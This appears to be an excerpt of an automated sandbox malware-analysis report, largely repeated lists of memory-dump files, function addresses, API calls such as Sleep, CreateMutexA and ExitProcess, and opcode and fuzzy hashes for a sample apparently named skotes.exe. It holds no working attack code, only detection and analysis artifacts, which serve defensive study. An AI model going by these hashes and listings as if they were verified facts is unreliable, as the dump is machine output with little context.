Associated: 00000001.00000002.2291793031.0000000000E69000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291828780.0000000000E6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291860231.0000000000E77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292059060.0000000000FC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292115421.0000000000FCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292153523.0000000000FDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292153523.0000000000FEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292254693.0000000000FF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292293154.0000000000FF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292323353.0000000001000000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292351438.0000000001004000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292417444.0000000001005000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292450195.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292904799.000000000101D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292973236.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293037679.000000000101F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293093917.0000000001020000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293281553.0000000001021000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293362038.000000000102F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293442660.0000000001045000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293622076.0000000001047000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293852976.0000000001051000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294424829.0000000001056000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294473988.0000000001057000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294560863.000000000105E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294585622.000000000105F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294615375.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294694189.0000000001069000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294750685.000000000106A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294783617.0000000001076000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294864277.000000000107B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2295501659.000000000107D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2296522026.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2298737169.0000000001086000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2298784140.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299287328.00000000010A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299317305.00000000010A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299317305.00000000010C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299383859.00000000010DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299490879.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299558862.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299629911.00000000010F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299692220.00000000010F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299730340.00000000010FB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299751462.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299797846.000000000110C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e00000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: fd8b165c5f7a87f785c5c6e82c2437e0c6bb40df8b101606dd8ae9cbfbd18855
Instruction ID: 539d0a8305e7327a3c56ddbe1bf649e48a9bda891f5d2a729126910785cca73d
Opcode Fuzzy Hash: fd8b165c5f7a87f785c5c6e82c2437e0c6bb40df8b101606dd8ae9cbfbd18855
Instruction Fuzzy Hash: 22A10370A02615DFDB20DFB5C94579AB7E8FF19318F109129E815F7281EB31EA84CB91

Function 00E1BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00E1BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00E1BBE4
_xtime_get.LIBCPMT ref: 00E1BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00E1BC13

Memory Dump Source

Source File: 00000001.00000002.2291683336.0000000000E01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000001.00000002.2291658143.0000000000E00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291683336.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291793031.0000000000E69000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291828780.0000000000E6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291860231.0000000000E77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292059060.0000000000FC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292115421.0000000000FCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292153523.0000000000FDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292153523.0000000000FEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292254693.0000000000FF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292293154.0000000000FF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292323353.0000000001000000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292351438.0000000001004000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292417444.0000000001005000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292450195.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292904799.000000000101D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292973236.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293037679.000000000101F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293093917.0000000001020000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293281553.0000000001021000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293362038.000000000102F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293442660.0000000001045000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293622076.0000000001047000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293852976.0000000001051000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294424829.0000000001056000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294473988.0000000001057000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294560863.000000000105E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294585622.000000000105F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294615375.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294694189.0000000001069000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294750685.000000000106A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294783617.0000000001076000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294864277.000000000107B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2295501659.000000000107D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2296522026.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2298737169.0000000001086000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2298784140.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299287328.00000000010A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299317305.00000000010A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299317305.00000000010C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299383859.00000000010DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299490879.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299558862.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299629911.00000000010F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299692220.00000000010F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299730340.00000000010FB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299751462.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299797846.000000000110C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e00000_file.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 45b43f7208033618c88459906c5bb05c37108823ce6c1b069ea95ed70bcee2c5
Instruction ID: 8b662ad4f61beb6942fa1b287fe0588968263ac083511fd23ec22bdb4557cf31
Opcode Fuzzy Hash: 45b43f7208033618c88459906c5bb05c37108823ce6c1b069ea95ed70bcee2c5
Instruction Fuzzy Hash: C6211B75A00219AFDF00EBA4D8859FEB7B9EF48714F201469FA01B7261DB349D819BA1

Analysis Process: skotes.exePID: 5132, Parent PID: 5820COMMON

Execution Graph

Execution Coverage:	1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1883
Total number of Limit Nodes:	9

Executed Functions

Function 00A0652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00A0652A,?,?,?,?,?,00A07661), ref: 00A06567

Memory Dump Source

Source File: 00000004.00000002.2316349454.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000004.00000002.2316321621.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316349454.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316468853.0000000000A39000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316488144.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316508563.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316612973.0000000000B98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316631356.0000000000B9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316654517.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316654517.0000000000BBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316698630.0000000000BC7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316716944.0000000000BC8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316734579.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316856447.0000000000BD4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316897995.0000000000BD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316922072.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316948303.0000000000BED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316968325.0000000000BEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316988334.0000000000BEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317008974.0000000000BF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317028964.0000000000BF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317049336.0000000000BFF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317078364.0000000000C15000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317098475.0000000000C17000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317118286.0000000000C21000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317137400.0000000000C26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317157860.0000000000C27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317177769.0000000000C2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317195533.0000000000C2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317216972.0000000000C31000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317237390.0000000000C39000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317257769.0000000000C3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317278477.0000000000C46000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317298601.0000000000C4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317318907.0000000000C4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317339350.0000000000C4F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317360861.0000000000C56000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317385204.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317408823.0000000000C72000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317429451.0000000000C74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317429451.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317489627.0000000000CAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317511839.0000000000CB1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317532999.0000000000CC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317556310.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317577956.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317596151.0000000000CCB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317619922.0000000000CDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317643116.0000000000CDC000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: cea368b5efb0198bbd85e661cbeb48fbe8e83a097a3e6f3843e510183c3ce610
Instruction ID: 952576698ccb9c617a51e0ea7e2abe723d4e5bd8f6802ce08b4030d65d0eacc6
Opcode Fuzzy Hash: cea368b5efb0198bbd85e661cbeb48fbe8e83a097a3e6f3843e510183c3ce610
Instruction Fuzzy Hash: 57E0863000120C6ECE257B18DD19E893B29EF1274DF010D04FC0486162CB65FE91C641

Function 009D9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 009DA963
CreateMutexA.KERNELBASE(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000004.00000002.2316349454.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000004.00000002.2316321621.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316349454.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316468853.0000000000A39000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316488144.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316508563.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316612973.0000000000B98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316631356.0000000000B9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316654517.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316654517.0000000000BBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316698630.0000000000BC7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316716944.0000000000BC8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316734579.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316856447.0000000000BD4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316897995.0000000000BD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316922072.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316948303.0000000000BED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316968325.0000000000BEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316988334.0000000000BEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317008974.0000000000BF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317028964.0000000000BF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317049336.0000000000BFF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317078364.0000000000C15000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317098475.0000000000C17000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317118286.0000000000C21000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317137400.0000000000C26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317157860.0000000000C27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317177769.0000000000C2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317195533.0000000000C2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317216972.0000000000C31000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317237390.0000000000C39000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317257769.0000000000C3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317278477.0000000000C46000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317298601.0000000000C4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317318907.0000000000C4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317339350.0000000000C4F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317360861.0000000000C56000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317385204.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317408823.0000000000C72000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317429451.0000000000C74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317429451.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317489627.0000000000CAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317511839.0000000000CB1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317532999.0000000000CC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317556310.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317577956.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317596151.0000000000CCB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317619922.0000000000CDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317643116.0000000000CDC000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: be5ea6f770d8a910a6d0739a6ceb7b44fe0249fb0b5d23e1e19ea850ba075bc2
Instruction ID: 7f4e742bb08dbd1eb529071d3f23434cd7b7fced77077c21f1c9e9371f34adcb
Opcode Fuzzy Hash: be5ea6f770d8a910a6d0739a6ceb7b44fe0249fb0b5d23e1e19ea850ba075bc2
Instruction Fuzzy Hash: 78317B716852008BEB08EBBCDCC976DB766EBC2314F20C61AE414D73E5C77999808752

Function 009D9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 009DA963
CreateMutexA.KERNELBASE(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000004.00000002.2316349454.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000004.00000002.2316321621.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316349454.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316468853.0000000000A39000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316488144.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316508563.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316612973.0000000000B98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316631356.0000000000B9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316654517.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316654517.0000000000BBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316698630.0000000000BC7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316716944.0000000000BC8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316734579.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316856447.0000000000BD4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316897995.0000000000BD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316922072.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316948303.0000000000BED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316968325.0000000000BEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316988334.0000000000BEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317008974.0000000000BF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317028964.0000000000BF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317049336.0000000000BFF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317078364.0000000000C15000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317098475.0000000000C17000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317118286.0000000000C21000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317137400.0000000000C26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317157860.0000000000C27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317177769.0000000000C2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317195533.0000000000C2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317216972.0000000000C31000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317237390.0000000000C39000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317257769.0000000000C3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317278477.0000000000C46000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317298601.0000000000C4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317318907.0000000000C4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317339350.0000000000C4F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317360861.0000000000C56000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317385204.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317408823.0000000000C72000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317429451.0000000000C74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317429451.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317489627.0000000000CAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317511839.0000000000CB1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317532999.0000000000CC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317556310.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317577956.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317596151.0000000000CCB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317619922.0000000000CDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317643116.0000000000CDC000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 44f152fbfa764c0614d9cf19bc063bae84122f5dcb09e845b1fa41d2450c33d8
Instruction ID: d4d28217fa9b391f20b1c25bb8fbe52390de5f022c98025688dafeb2b8be6b6c
Opcode Fuzzy Hash: 44f152fbfa764c0614d9cf19bc063bae84122f5dcb09e845b1fa41d2450c33d8
Instruction Fuzzy Hash: D3316A716852009BEB08EB7CDC847ADB766EBC6310F20C61AF414E73D1C7759D908752

Function 009DA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 009DA963
CreateMutexA.KERNELBASE(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000004.00000002.2316349454.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

